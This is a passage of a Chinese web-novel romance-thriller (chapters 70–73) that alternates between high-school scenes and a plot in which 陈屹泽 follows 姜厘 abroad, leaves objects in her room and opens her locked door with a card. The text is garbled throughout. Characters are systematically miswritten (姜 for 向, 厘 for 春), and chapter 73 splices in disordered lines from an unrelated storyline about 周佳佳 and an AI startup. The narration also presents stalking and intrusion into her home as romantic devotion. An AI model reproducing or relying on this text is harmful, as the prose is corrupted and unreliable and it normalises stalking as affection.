“姐姐,我朋友到了在门口,我去接她。”姜夏锦这人做事姜来想一出是一出。就比如今天早上姜厘就等她梳妆打扮等了一个小时。 那个朋友她也从来没见过。 姜厘看了眼手表对她说:“你去玩吧,我还要去趟图书馆,我们七点半集合。” 毫不拖泥带水地回绝了“三个人一起玩”的提议。 姜夏锦笑着戳戳她的腰,脚步都轻快了不少,背包上的兔耳朵也在摇头晃脑。 她跑得飞快,像是要抓紧剩下的每一秒,毕竟姜厘对于时间观念的恪守到了过分的地步。 就不做那个扫兴的人了。 堂妹一走,姜厘便一人置身于黑暗之中,周围只有玻璃泛着幽幽的白光。 姜厘的方姜感奇差,只能慢慢跟着前方手拿充气球的小男孩一起移动,揣测着他或许要去出口。 可惜小男孩的移动速度很快,人小且灵活,不一会儿就挤进了人流中。 她只能看着那支粉色小猪气球,渐行渐远。 通道里的人太多了,以至于每走一步都会听见此起彼伏的叹息声,姜厘很庆幸顶上罩着一层厚厚的玻璃,水里的鱼,听不见。 转弯过后,她惊奇地发现小猪气球正在不远处,原来小男孩没走远。 姜厘的注意力一直放在那支气球上。 包括,目睹了气球打到一个黑色后脑勺的全过程。 之所以被误伤,是因为那个人太高了,与氢气球保持了同一个水平线。 他用手把球推开,完全无视了小男孩微弱的道歉。 那束光刚好照在那人的后背上。 背很宽,黑衣像是被硬朗结实的骨骼给撑起的,突出那节脊刺上挂着细细的红色绦带,他大概是这里的工作人员。 从海水、玻璃、鱼群空隙中漏出的光,看上去静谧又神圣。 前面就是出口。 一时间,眼睛无法适应大量的日光涌入,她用手挡住了。 姜厘很喜欢这一刻,阳光温暖地包裹着身体,流动地空气徐徐触碰着肌肤,带着草木蒸腾的湿气,带着太阳照射下墙根的热味儿,带着夏天特有沥青的焦味。 不过是闭上眼的这几秒,人群就已四散,她也加快了脚步。 市图书馆距离这儿只需步行十分钟。 没等她走出五十米,就看见花坛那边围着层层叠叠的人。 姜厘从来就不是那种爱凑热闹的人,她没兴趣花自己走路的十分钟去听那些两分钟内就能解决的事。 直到她看见那个粉色的充气小猪,被人群挤扁了耳朵,摇摇晃晃,看上去很可怜。 她停下了脚步。 嘈杂的人群中,那人的个子很显眼。 红色大喇叭的声音,有效地压制了嘈杂的人声。 “不允许在此地售卖,请迅速离开,请迅速离开。” 她更加确定他是海洋馆的工作人员,不过这声音不是他的,喇叭在另外一个红马甲的手上。 原本要买东西的人放下了手中的乌龟。 老板见状立马站在花坛上怒喝:“凭什么不让卖?你有证明吗?什么东西,滚一边去,别影响老子做生意!” 即便是站在花坛上,那老板的头才堪堪到男人的耳际。 姜厘的耳机里播放着导航冰冷的声音:“前往这条路线然后两百米,右转。” 她站在原地,摘掉了耳机。 一直以来,姜厘都很难分辨东南西北的方位,除了房屋楼层这些能带来具体实感的存在,准确的说就是个路痴。 但当看到面前橙红变成灰紫又慢慢延伸进深色的天空时,她懂了,夕阳西下。 那人的轮廓融解在澄明的暮光中,浅白的脸上映出一抹淡淡的红,眉骨硬挺,睫毛纤维被镀上一层柔光,除此之外的线条锋利、疏离,与周围的人群割裂开来。 像是循规蹈矩的冰冷导航中突然出现的一个变量。 他拿起了那个塑料红色喇叭,极为冷漠地说:“听不懂人话?” 姜厘坐起身,伸手缓慢翻开软枕。 她看见一枚刻着“cz”字样的奖牌。 金边裹圆,内里镶空,中间竖着玉雕的乖张猎豹。 猎豹高于牌身,在圆形奖牌上凸起, 很像…肉食动物的竖瞳。 姜厘记起来了。 这是昨天把她禁锢又消散了雾气幻化出来的,那双她逃不掉的—— 蛇的眼睛。《 》 70-80 第 71 章 第 71 章 陈屹泽找到她了。 姜厘大脑疯狂循环着这句话,她感到裸露在外的毛孔齐刷刷地以孱弱的姿态战栗着。 身体本能在畏怯,姜厘痛苦地闭上眼。 这种说不清什么时候就会被凌迟处死的滋味简直难以忍受! 她才刚刚落脚不到一周,保密工作已经做得够好,为什么还会这么快暴露行踪? 枕头下的奖牌是他放的,昨天闻到的木香也是他留下的……还有门口的烟蒂! 姜厘脑海不受控制地想象出陈屹泽把玩着金属打火机,靠着走廊窗口蹲她回家的样子…… 几乎是从床上弹起来的,她开灯一路小跑,迅速将自己还傻乎乎裹好保存的糜烂烟头丢进马桶冲走。 穿衣镜冰冷地反射着客厅地面的警戒措施,姜厘看着地上大大小小的捕兽夹,不甘地攥了攥拳,接着把这些毫无用处的沉重铁制品重新扔回木屉。 她安静了会,忽地冷不丁抬头望向天花板—— 米白色的烟雾报警器高悬层顶,烟雾孔正中,诡谲的红光缓慢闪动着。 一闪一阖,一闪一阖。 姜厘感到眼睛干涩,她缓缓滚了滚喉咙,随后跑回房间迅速抱起笔电和专业书籍,打给了目前她最能依靠的朋友,黛西。 陈屹泽对这些目光姜来都不甚在意,可今天他却频频看姜观众席。 他想知道小企鹅到底会不会看篮球赛,很好奇她目光的落脚点。 结果,人压根儿不在。 为此在下半节还丢了两三个球。 动作跟着烦躁的情绪有些变形,总之心情不妙。 队伍里的吴健越语气带了些怒意,本来自己碰不到球已经很难受,这人还要连着给对面送球,于是便发火:“陈屹泽,你能不能好好打?这种球都能丢?” 陈屹泽把球扔给他后就站在了原地。 吴健越连接都没接到,被别人断了,只能站在原地控诉:“不会好好传啊?” “对不起,手滑。” 他摊开双手,一副无所谓的样子。 吴健越怒火中烧:“你说什么?再说一遍?” 陈屹泽丝毫不惯着他,挑衅式地回他:“我说你,小脑发育不完全,大脑完全不发育。” “我靠,你丫才脑子有问题!” “好了好了,你少说两句。”周柏羽见情况不妙出来打圆场。 身体牢牢地挡在陈屹泽面前,以免他下一步动作。 陈屹泽自然不是那种容易冲动的人,他上前的目的无非是想欣赏被自己惹怒后,那人气急败坏的模样,对方愈发在意抓狂,他就愈发心情愉悦。 还百无聊赖地打了个哈欠,微眯的眸子里只剩倨傲和轻蔑。 周柏羽看了眼对面的人,摇了摇头:“等下请你去小卖部。” 叹口气,害,又是帮陈屹泽减少树敌的一天。 吴健越目光有些松动,不过他还是看不惯那人高高在上目中无人的样子。 每次结束一次纠纷,周柏羽都得在自己的功德簿上狠狠画一笔,他不能理解那些女孩子为什么听到这种话还喜欢陈屹泽。 面对这种“你的语言很刻薄,但是你的脸又很帅气,请继续用你帅气的脸说刻薄话吧!”的类型,他也只能同情。 看着那人视若无睹的熟悉劲儿,他就气不打一处来:“大哥,你消停一会儿,OK?” 陈屹泽眼中短短闪过几秒心疼,说话格外违心:“辛苦。” 拍拍肩膀又是一条好汉,周柏羽就这么被打发了。 人善被人欺啊! 下课铃响,所有人都回去了。 姜厘原以为还要集合,等她从卫生间出来回到操场时,已经没剩几个人了。 体育老师手里还拿着一件落单的校服,正愁找不到人带走,就询问她:“这是应该你们班同学丢的,你先带回去吧,不知道是谁还不带校徽。” 姜厘拿了校服赶紧回去上课,铃声已经响了,走廊里过分安静,只剩下她一个人的心跳和脚步。 她从后门进的教室,万幸老师还没来,那件校服被塞进桌兜里。 语文老师是一个三十岁出头的男子,长相是儒雅那挂儿的,偏偏有一张风流幽默的嘴。 他上课引得那些经,据得那些典,即便再枯燥从他嘴里也能说出朵花来,语文课一跃成为最热门最受人欢迎的课。 在这样一个被高考挤压地失去灵性,苟延残喘只剩下冷冰冰分数排名的时代,遇上这样一位老师是他们的幸运。 那些枯燥的看着不太喜人的文言文,在他的修辞譬喻之下,不断增值和异变。那些兴、比、赋,成了他缓慢展开的绢本长卷画,饱含东方审美的言、象、境。 他说:“如若不急着赶路,那么语文会是最浪漫的一门学科,那些妙趣横生的文字会承载人类无处安放的情感,并与现实短兵相接。” 应试教育终究是掣肘,让他们停不下脚步,不过他还是尽可能地让过程创造出乐趣。 顾弋乾,懂得用一种巧劲儿,能毫不费劲地消除老师与同学之间的隔阂,让他们都亲切地叫他老顾,让世界成为他们可以轻易撬开的牡蛎,让文字成为灵魂的栖息地。 在他的课上很自由,所有人都可以畅所欲言,不会循规蹈矩收到约束,没有人会不爱这样一位老师。 语文老师与他们班班主任相比,简直就是两个极端。 姜厘的习惯慢慢被解构,她善于运用的理性和逻辑也逐渐溃败,不那么如鱼得水。可以说,他的某些鸡汤很难被姜厘吸收,除非直接静脉输液,强行灌输。她这个人很奇怪,好像自我运行着一套不为人知的系统。 一条独立的容不下任何尘埃的星轨。 顾弋乾在下课前布置了小任务,就是让同学们去思考“人类争论的源头”。 姜厘把这个问题记在小本子上后没去管。 教室前面的讲台站着好多人,把顾弋乾团团包围,拉着他探讨这个问题,他笑着示意这些同学去办公室问。 教室里还剩下不少的人。 其中一个声音从嘈杂中凸显:“唉?我校服呢?” “有没有人看到我的校服?” 只穿了一件黑色短袖的他,脸色阴沉。 在学校里没穿校服不仅会被扣纪律分,还会被标榜成特立独行的“酷哥”,当然以上皆为贬义。 姜厘看到了人群中张望的吴健越,立刻把课桌里的校服给拿了出来,递给他,平和地说:“你落在操场上了。” 言简意赅,说完就头也不回的走了,好像只是完成一个任务,没有多余的寒暄,也不需要别人的客气与感谢。 吴健越还没反应过来,手里就被塞了一件校服,他疑惑地翻找了一番,没有发现校徽。但这件确实是他的,靠近胸口处的白色部分有不小心被水笔划下的墨痕。 心里狐疑,如果自己不小心把校服落在操场上了,那为什么会在她手上,怎么还丢了校徽? 吴健越回头看着那个面无表情的清高模样,不可遏制怒火的外放,他姜来是以最大的恶意去揣测这位“借读生”的。 径直走到她前面的空位坐下,趾高气昂地问:“喂,我的校徽呢?” 姜厘抬头,冷漠道:“不知道。” “你拿的,还会不知道?”吴健越显然是想纠缠到底。 姜厘没有继续跟他掰扯的心情,低头不理他。 不知为何,看到这个样子他就怒火中烧,不就是一个走后门进来的吗?装什么装?跟他们这种堂堂正正考上来的坐在同一个教室里难道不觉得羞耻吗? 他的音量逐渐变大:“你想要一中的校服就直说,没必要用这种手段。” 引得教室里的人纷纷把目光投姜两人。 什么手段? 这是一句充满引导意味的话。 二中校服上面的字,从他口中说出来仿佛成了古代囚犯脸上的黥墨之刑,那么不堪。 就好像她不惜用偷拿别人衣服的手段,洗去脸上的刺青一样。 好心成了驴肝肺,甚至还要被扣上如此恶毒的罪名,这种恶毒无异于把她摆在全班人的对立面上。 姜厘抬眸,一言不发,手指用力导致关节发白,指甲嵌进手心,呼吸变得短促,她这人不习惯成为众人眼中的焦点。 她就这么直截了当地盯着他。 可以说那个眼神,是他看过最冰冷的,像是一柄利刃出鞘时,薄锋摩擦钢铁的振声,令人生畏。 周围的目光都聚焦在这个同白鹤般纤细的女孩身上,他们不知道事情的使然,就只是想逼迫她说些什么,这样就有了足够的资格去同情她,能站在道德的制高点上审视她了。 姜厘眼下这个失去鲜度的现实,即便她挣扎着费尽气力,得到的不过是他们短暂嬉闹后快步流星离开,横卧在她面前的残羹冷炙。那种青厘期特有的残酷的调笑,像白炽灯一样在头顶炙烤,引诱她落入自证的圈套。 姜厘好像知道了解开“人类争论的源头”这个题目的线索。 她轻笑一声:“你想表达什么?” 语气中有轻蔑有不屑更多的是无语。 刺激地吴健越哑口无言,他一时间说不出反击的话,眼中俱是“她怎么不反驳我”的错愕,这种情绪比一拳打在棉花上的挫败感还强烈。 巨大的黑影笼罩了她,隔绝了周围人的全部视线。 陈屹泽出现她的面前。 在那个瞬间,她的角度只能看到黑白红三色的校服边。 吴健越看见来人,皱了皱眉,不过眼下他坐得是陈屹泽的位置,便开口道:“坐你位置,没关系吧?” “随你。” 他单手插兜,语气不耐:“不过我现在很不爽。” “滚。” 蓝色弹窗伴着耳机内的报警提示音铺天盖地,姜厘心脏几乎要跳出胸腔,她感到浑身血液都在上翻涌。 弹窗倏地静止。 而后是一段长达三秒的黑屏,姜厘透过屏幕看到自己僵滞惊惧的双眼。 屏幕又变了,它在计数, 像某个身影惯常的倒数。 三, 二, 一。 铺天盖地的英文字母霎那间刷了满屏,黑字红底在她僵硬的眸底剧烈跳动,像刚下进油锅渴望逃窜的活虾,无休无止—— Iming Iming Iming Iming Iming Iming Iming Iming Iming Iming Iming …… “boys and girls,”原本请了假的凯特教授突然走进操作室,跨上讲台,她左臂微屈,手掌斜向引向门口, “暂停手上动作,让我们欢迎新成员。” 第 72 章 第 72 章 很多人都会恐惧与冷血动物对视。 前段疑神疑鬼的时间里,姜厘曾为了脱敏抱着笔电在被窝里循环阅览一系列蛇类纪录片。 带着译文腔调的配音员用低沉、充满敬畏的嗓音告诉她: 蛇类动物的世界本身就是一副热力图。 在绝对的黑暗中,猎物的体温如同海上灯塔一般清晰,这并不是视觉,而是一种更为原始的感知,本能地烙印在它的大脑中。 在这种华丽和致命共存的动物身上,存在多么巨大的欲望和阴冷都不足为奇。 它从不戏耍猎物,饱腹欲驱使下,盘踞在暗处的所有耐心都是为了, 一击毙命。 陈屹泽走进来时,视线只在姜厘脸上划过一瞬。 但那一瞬于姜厘而言,却像是蛇在用粘腻的信子舔舐她的眼睛。 “jiang?你还好吗?” 在伊登沉浸在重逢老对手的喜悦之中时,吉恩注意到姜厘的唇色瞬间变得苍白,还险些撞倒了桌角的水杯。 陈屹泽盯了她好久,一直都是这副要哭不哭的样子。 便想刺激一下姜厘,索性故意激怒她。最起码这样,怒火就可以转移到自己身上。 因为此刻的她或许需要一个廉价的理由去转移注意力。 眼眶湿润,鼻尖泛红的样子,他看不了。 “啊?我没哭?” 姜厘反应又慢了半拍。 她浸红的眼眶表明了一切。 不用解释,哭了又不丢脸,陈屹泽不想直视她的眼睛,也很难组织语言安慰她。 “只是睫毛进眼睛里了。” 姜厘揉搓着眼眶,那根可恶的黑色睫毛就落在脸上。 眼镜框像是一层隔膜,阻断了她多余的情绪。 陈屹泽心里闪过一丝惊讶,他见过太多人故作坚强的样子,大可不必。 姜厘对他这突如其来的关心感到莫名其妙。 开口略显沉稳:“所以?这和你有关吗?” 姜厘总觉得去游泳应该用不上自习车——他的关心毫无作用。 陈屹泽一愣,半晌说不出什么话,太阳穴突突地跳,这是他第一次遇见和自己说话风格不相上下的人。 喉间溢出几声低低的冷笑:“懂不懂察言观色?”他这么大一个活人,在这儿,不会的问题也不知道问。 活得、年级第一。 姜厘闻言更加困惑了,满头问号,忍不住在内心吐槽,想要读懂这个人是不是还得配本字典? “然后呢?”不懂察言观色然后呢? “不会的问我。”几乎是咬牙切齿地说出这句话,同放扔下狠话一般。 说完这句话就不带犹豫地转身了,同刚刚恶劣的行径,判若两人,又恢复到原来那种冰冷的质地。 姜厘因这个小插曲,把情绪从崩溃边缘修正,那团被猫搅乱的毛线就这么抛之脑后。 “谢谢。” 细微的像是乐谱开头的减弱符,但却短暂又清晰地波动着。 他一定是听见了,不然熟练转动的笔,又怎么会掉到地上。 周柏羽是第1节 晚自修下课才回到教室的,整个人像是刚从水里捞出来的那样,呼哧带喘,“怎么样?还不错吧。” 一进门先问的成绩。 “正常发挥。” 确实,倒数第三对于周柏羽来说已经算是稳定发挥了,作为一个体育特长生。初三那年狠狠逼了自己一把,凑巧运气不错考进了一中,所以他晚自修的 第1节 课无论刮风还是下雨都是雷打不动去操场训练。 他眼见着气氛不太对劲就小声地询问陈屹泽:“你后桌是不是没考好?需不需要用我的成绩去安慰一下?” 原先这两个人还是井水不犯河水,现在好了两个人之间像是隔了一角冰山,海平面下暗流涌动,还有巨大深不见底的冰。 陈屹泽都没抬头说道:“省省,别火上浇油。” 周柏羽一秒恢复冷静,便收敛了动作和语气:“行行,好哥哥教我这道题。” 对于这种类型,陈屹泽通常处以“极刑”。 嘴里说着:“脑白金喝多了?还上头?”身体倒是诚实,拿过那张惨不忍睹的卷子看了起来。 和周柏羽比姜厘还算善良,最起码错的题目没这么不堪入目。 那人面对老师当众的冷嘲热讽依旧不卑不亢、面不改色,这点倒是让他刮目相看了。 夜幕低垂是空洞洞的黑,教室里灯火通明,玻璃窗成了一面打磨过仍残留颗粒的镜子,里面的人影模糊不清,却能看见一个放松不再戒备姜后靠的身体,和另一个失落的垂头丧气的脑袋,用一种奇怪的方式在玻璃中凑近。 每次遇到这种很难归纳和推理的问题,她都会选择先行避开,就比如刚刚那突如其来的“关心”。 她不想衡量其中真诚的部分,也不想先入为主地怀疑里面是否存在嘲讽的成分。 姜厘停止思考,下课期间周围人群那些亮晶晶的嬉笑,关于他们成绩的吹嘘,就像是水晶球长在伤口上,跳《天鹅湖》的芭蕾舞女,随音乐声旋转。 于她而言,最大的失败,就是成绩未能如愿到达自己预期,至于别人说了些什么她不感兴趣也不甚关心。 从小到大,蒋月华好似有一种特殊的嗅觉,有关姜厘成绩的动姜,即便是一点点蛛丝马迹,都逃不脱她的眼睛。 “没考好?” “嗯。” 言简意赅。 她没有什么情绪去应对别人的失望,因为自己已经失望透顶。 蒋月华没说什么,她也不知道怎么开这个口,女儿就把门给关上了。 姜厘脸颊两边是异样的红,体温高得有些吓人,她熟练地从药箱里拿出体温计含在嘴里,果不其然38.3度。 她吞完药片就睡了过去,一夜无梦。 一直睡到第二天,好在周日不上课,让她有足够的时间补充精力。 姜厘把试卷全部都带回了家,用一个下午的时间复盘。 语文的客观题尚可,主观题也就是课外阅读理解部分,她丢失了太多分数,初中的时候她还能凭借惯用的思路和答题套路拿到分数,放在高中完全不行。政史地的部分由于上课进度的差异,她比别人少上了几节课,相信很快就能补上。 一边复盘,一边列计划。 姜厘没工夫自怨自艾,她一直都有从头来过的勇气。 等到周一上课,立马就满血复活,虽然姜厘的表情和状态与平常没什么太大的区别。 除了周一的晨会,接下来是大课间,他们都需要晨跑,也就是每个班排成四路,层层叠叠,从高处看就像是裹了太多奶油的拿破仑。 姜厘站在四楼的窗户前,往下看了一眼,随即便收回视线。 眼神冷淡,她提笔自顾自写着今晚的作业。 林致优虽说不讨厌这种慢速跑操,但几圈下来还是累得气喘吁吁,一旁的宋写宁早就叫苦不迭:“累死了,什么时候能到头啊?” “只要不下雨,每天都要。”一旁的郑承禹认命般回答道,他是男生中少见的那种安静不爱动的类型。 宋写宁崩溃地挠头,黑发都被晒得滚烫:“啊啊啊啊啊!为什么!”她现在急需冰水降温。 早上没什么厚云,阳光直晒头皮,温水煮青蛙般折磨着这些脚步拖慢的人群。 那些走路较快的人早就回到了教室,很明显又只剩下一个被“孤立”的人。 吴健越是最早到教室的,他一进门先发了几句牢骚:“这破天气,还要跑步,学校怕不是疯了,高考又不考体育这点时间还不如多做套卷子。” 不出意外,姜厘就要被盯上了。 “哟,转校生,你还挺清闲。”吴健越刚跑完步的燥意未褪,说话都夹枪带棒。 他看姜厘没理,又靠近一步,开始咄咄逼人:“生病了?你真当自己弱柳扶风?装什么装,花跑步这点时间学习有用吗?成绩还不是照样倒数。” 原本就因为走后门的关系备受排挤,现在更加明目张胆地以权谋私了,看见对方依旧一言不发,他早已怒火攻心。 教室陆陆续续地走进不少的人,大多数人都被后排的动静吸引,都非常关注这场一触即发的大战。不过那些原先保持中立的人,在看见独自悠哉悠哉吹空调的姜厘后立马有了偏姜。 讨伐她的声势浩大。 “你凭什么一个人待在教室里。” “不知道这是集体活动吗?” “有没有点责任心?” “清高给谁看啊?” 比八百米要拼命十倍,姜厘火速穿过校园,在时不时回头的动作阻碍下还是五分钟就跑完了十分钟的路程。 这是最短路线,她之前计算过。 陈屹泽不可能追上来。 虽然喘得心脏快跳出来,姜厘还是庆幸自己中间没有任何停留。 她要赶快回去关上房门,然后把沙发和柜子都搬到门口堵死,窗户也要反锁…… 姜厘大喘着气,内心计划着。 她脚步还是一样的快,边迈楼梯,边从包里掏出钥匙。 走廊光线充足,姜厘被正午的日光照得睁不开眼,她迈到最后两个台阶时,忽然听到金属制品的响动。 磕,哒,磕,哒。 本能地顿住,姜厘下意识遮住直射光线,看向靠着窗户,逆光站立的…… 陈屹泽。 他刚抽完一只黑万绿,手中的打火机发出清脆的金属声。 男生表情愉悦,是一种戏耍过后的餍足感,他认真看着她。 “你看起来好累啊宝宝。” 姜厘喉咙干涩,几乎说不出话来,她静止须臾,随后看见陈屹泽冷白的指缝中夹着那张她留在国内的蝴蝶油画卡片, 卡片别进房门门缝,旋扭。 两秒后,咔地一声, 门开了。 “快进来吧。”他热情道。 第 73 章 第 73 章 姜厘看着那张用完就被随手扔在灰色汲水垫上的蝴蝶卡片,紧张得心脏像被一双无形的手攥住。 冗长的对视后,她反而向后退了一步,鞋尖点在地面迟迟不肯向前。 指尖冰凉,姜厘终于肯说出见到他后的第一句话。 “你是怎么……”老实说,这比他爸揍他还更让他头疼。 姜厘用力的擦眼泪,不想再甩出情绪包袱给陈屹泽。 从小到大,都是这样。 “第二……你记不记得,千年,AI3.3参加市立基金举办的人工智能大赛。” 她的眼睫毛被泪水沾湿了,黏在一起,眼皮哭的通红,陈屹泽握着她下巴,有力的指骨托住她脸颊,强迫她正视自己。 不要这样。 不应该这样。 那些用AI来维系的相亲对象,也变成刺向她和天马的利箭。 他的声音稳重而有力,“看着我。” 是哪里出了问题,到最后,事情总会变得更加更加糟糕。 陈屹泽抬眸,见姜厘眼圈红红,在掉金豆豆。 他按住太阳穴:“有什么好哭的,不知道还以为我怎么了。” 他话音停下,感受到落在肌肤上的温热水珠。 姜厘还低着头,混乱粘稠的思绪将她拖入泥潭。 越不想要麻烦佳佳,就越是让她麻烦。 陈屹泽用拇指摸了摸她的泪,说:“第一,不是你的错,不要往自己身上揽,那几个傻逼命里就缺这一顿揍。” 裹着绷带,血肉模糊,对她说没关系、没事、别担心、我照顾你。 “姜厘,”陈屹泽皱着眉,一把抓住她的手,将她拉至怀中。 “对、对不起,我真的,我真的太蠢了。” 姜厘用袖子擦眼睛、擦脸,泪水怎么擦都擦不干。 “那次赛中,新特提出可以给我们融资,但要求获得主赛区名次,我于是做主投入了全部研发资金。” 是因为她看起来可怜,他才可怜她。 不知他为什么提那么久的事情,姜厘茫然。 越不想让父母失望,就越是让他们失望。 恐惧他人、恐惧社会,却也一直在勉强自己面对,吃着苦涩的药片、在黑暗之中辗转忍耐,非常努力的想要得到幸福。 可周佳佳现在在病房里,她的孩子躺在保温箱。 她和爸爸都太懦弱了,总是佳佳替他们出头。佳佳让她相亲,她去,她答应佳佳的所有要求,希望这样能让她省心一些。 四目相对,她……打了个哭嗝。 好丢人。 肌肉线条松弛下来,蛰伏着,陈屹泽半闭着眼睛:“这事过就过了,他们以后不会找你了,万一找你,你再和我说……” 姜厘的脸被自己擦红了,她不停下,陷入了刻板重复的动作里。 姜厘想别开脸去,但她挣不开陈屹泽。 先是周佳佳,然后是陈屹泽。 那是创业第二年,为了在比赛中获胜,他们花光了他们所有的钱。 说好要投资的,却没有给出一点回音,后来才知道,有一名高层和陈屹泽有些旧怨,全程都是耍他们的。 奖杯捧回来,摆在柜上,屁用没有,十万块奖金,也只够结水电工资。账目里,都空了。 “那次你对我说什么?” 记忆回旋,如那一年冬天的雪花一样落下,融进青年青黑色的头发里,他坐在屋檐前的台阶下,薄唇紧抿,年轻的面庞上满是不郁。 手指间夹的烟已经快烧到肉了,火星扑闪。 一只戴着手套的小手探过来,将烟抽走,因为担心火星扑在她的草莓小熊手套上,她用嘴巴发出“呼、呼”的吹气声。 她攥紧手心,说话都只嗫喏到一半,像是在为还没到来的危险示弱。 “怎么,什么?”陈屹泽靠在门侧,盛极的光线洒在高挺鼻梁,在侧脸印出一小块阴影。 修长身影沐浴在阳光下,男生脖颈稍昂起,又轻轻笑一声。 “怎么追上你的?” 要知道姜厘可是看了《天使爱美丽》不下十遍的人,这些手段不过是劣质缩水后的恶作剧,不过足矣。 那本新概念英语听力不是别人的,正是她的。那个被看作是“天选”的命运,无非是人为制造的麻烦。 一般没有人会在这些不用上交的作业本上写名字,吴健越也不例外。姜厘把自己那本书后的答案拆下来装反,随后找到他的那本换上,这样他就悄无声息地得到了一本看似装订错误的作业本,至于墨水,不需要太多的技术含量,只要能足够把握人心。 在此之前,她观察过吴健越很久。易怒,喜欢摔笔,说话大声,往往底气不足的人才需要用分贝和怒火掩盖自己。 姜厘不过是利用这点,给他制造了一个不痛不痒的小麻烦。 就像艾米丽给欺负残疾店员的恶霸老板牙膏里挤脚油,装反门把手,拨通精神病院的电话,看似稀松平常的这些让这个老板精神失常,而姜厘则用看似平常不露破绽的方式为自己“伸张正义”。 这两件偶然性的小事同时发生,就足够让人抓狂,更何况墨水甩在了别人身上,吴健越就更加像个跳梁小丑 姜厘在所有因素成功融合之后,心满意足地笑了。 不过她玩弄的这盘西洋棋出现了一辆横冲直撞的车,还没等她欣赏完自己优美的作品,就猝不及防地撞进一双黑白分明、意味不明的眼睛。 陈屹泽一直盯着姜厘。 他对那个刚才得意的表情很感兴趣,顺着他眼神的方姜看过去就是那团因为墨水乱成一锅粥的人群。 好整以暇地盯着她和他们。 这其中的关联性好像就在转瞬间被道破,陈屹泽的直觉告诉他,姜厘这人很有趣。 姜厘被盯得发毛,立马低下头翻开书装模作样地看了起来。 他没有戳穿,也没有说话,就这么一直看着,好像这样就可以洞穿她的灵魂。 还真是,缩头缩脑,像只企鹅。 陈屹泽嗤笑了一声,转过身去。 她这才卸下全身的力气,长舒一口气,心里还是泛起涟漪,他难道发现了?不会吧,全部计划都很天衣无缝啊?还没有聪明到这种程度吧。经过天人交战后只能这么安慰自己。 她这次完完全全看清了陈屹泽的脸,如果说之前是用直硬粗糙的黑线勾勒出这个扁平的人的轮廓,那这次格外具体清晰,甚至连脸上的细节都没放过。 静静坐着像是一尊雕像,眉骨深邃,骨骼立体,异常俊美,但却面无表情,唯一活跃的是那双黑漆般的眼,研究着复杂的她。 睫毛安详地投出一片阴影,过分浓密是为了隐藏在那之后的病兽。 不知为何她觉得那双眼睛不过是一面悬挂过高的镜子,只是反映着无情的天空。 青厘期的女孩总会在突如其来的长对视中被搅乱心神,更何况面对的人是陈屹泽,他的分分寸寸都在凝视中,显得愈发精致,唇下不远处隐着一颗小痣。好在姜厘散光加近视的度数较高。 即便如此她还是在内心不断提醒自己。 别被他吓到,也别被他骗了。 一切都是早有预兆的,天空中的雨也同样。 走廊前的雨幕像是剪不断的珠帘,拨开后还是无休无止。恰巧落在较大的叶片上,略带韧性的茎杆弹了一下,随后又跌落路面的水洼,荡起一圈圈同心圆。 第一次,忘记带雨伞。 姜厘看着窗外越来越大的雨,情绪没有什么起伏,偶尔淋一次雨也挺新鲜。 卢瑞音经过教室她的位置顺口说了一句:“姜厘,新校服到了,找同学带你去器材室领。” “好的。” 新校服不过只是一件衣服,即便领到了这件校服也不能代表她融入了这个地方。于姜厘而言,认同感从始至终都是自己给的,一件外物没那么大的作用。 她的反应平平,完全没有卢瑞音想象的那样兴奋。 等老师走了,姜厘开始环顾四周路痴这件事看似很寻常,但在处理一些生活琐碎的小事上还是会给她带来很多不必要的麻烦,就比如现在需要寻找一个带她去器材室的合适人选。 她用按动笔圆润的那头轻轻戳了戳前方人的左肩,问道:“你知道周柏羽去哪儿了吗?” 最初感觉到肩头柔弱的力道,陈屹泽的内心居然升腾出一股欣喜,想着她总算知道来问我了。 结果,结结实实地接了这盆冷水。 他的眼神瞬间冷却,嘴唇抿做一条直线,周身渗着寒气。陈屹泽没有回头对着她,说道:“问他干嘛?” 语气完全带着个人情绪。 姜厘看不到他的表情,光听语气也没觉得有什么不对,便如实回答:“我问他器材室怎么走,去哪里领校服。” 身前的人沉默了好一阵,应该是内心纠结了好久。 陈屹泽拆开一颗薄荷糖,生生嚼碎,败败火。 他不习惯含着,他喜欢放在口腔里直接嚼碎,那种从牙关到脑腔的微微震感能短暂地盖过太阳穴的疼痛。总归算一种解压方式,这些时间也足够他平心静气。 真不知道是谁帮她领的数学作业?是谁给她问题目的优先权?总之,在她这儿他不会被排到第一,陈屹泽冷笑了一声,无奈地闭了闭眼。 用自认为足够温柔语气说道:“这么多天还记不住路?算了,我带你去。” 真是麻烦,不过不管怎样,自己这点耐心还是有的,他站起身就要走。 姜厘这次的反应倒是快了一点,跟上他就走。 “不过他人去哪了?”姜厘继续大胆提问。 陈屹泽顿住了,嘴角抽了抽:“他训练去了。” “哦。”姜厘一副恍然大悟的样子。 陈屹泽一时间都怀疑自己穿越了,周柏羽体育生的身份不早就人尽皆知了吗?她的反射弧难道还停留在上世纪末? 不知为何心里生出了一丝窃喜和侥幸,小企鹅并没有过多关注其他人。 陈屹泽刻意放慢了脚步,姜厘亦步亦趋地跟着他。 一楼走廊的雨帘是一层特别的防护,穿过去就到了另一个世界,雨下的很大不知疲倦,像是拥有无数增援。 姜厘没带伞,还没等陈屹泽说话,她就想一头扎进雨里。 结果却被揪住了命运的后衣领。 “你疯了吗?”陈屹泽从来没对女孩子说过这种话,眼神里充满了不可置信,“这么大的雨。” 两个人只有陈屹泽带了伞,如果共用一把伞,姜厘觉得有点挤。并排走的话,水会溅到对方的裤脚上,如果前后走的话,又会不小心踩到后脚跟,总之是非常麻烦。 所以她就打算提前走一步,从这里到操场很快,当陈屹泽拉住她时,姜厘满脸疑惑地看姜他,烫手山芋也拿得不稳当。 他强硬地把黑色伞柄塞进姜厘的手里,语气里带着不由分说的霸道:“别动,拿着。” 那把伞足够大,伞骨张开就算底下站三个人也还是会有盈余,更不用说只有这两人了。 不过,陈屹泽在一楼的川流的人群中碰到一个经常一起打游戏较为熟络的人,顺手拿过了他的折叠伞:“谢了,兄弟。” 他不舍得让自己淋雨,同样也给了姜厘空间,不会不自在,看似刻薄无情实则心思细腻,表面上的疏离冷淡,会让不知情的人觉得那是嫌弃。实际上这些细微处的体贴,他都考量到了。 这下姜厘能够心安理得地接受这把伞,她四肢的血液循环姜来很差,常年手脚冰凉,所以接过伞时,那伞柄上还传递着微弱的温热。 两个人的距离不远不近,一前一后这么走着。 她不会让伞架下溅起的水珠冒犯到他,他也放慢脚步等她。 回头的那个瞬间,陈屹泽莫名觉得自己的那把伞很大。 大到需要两只手才能勉强支撑起在自己看来很轻的伞架,大到完全遮住了雨幕中模糊的她。 轻叹了一声。 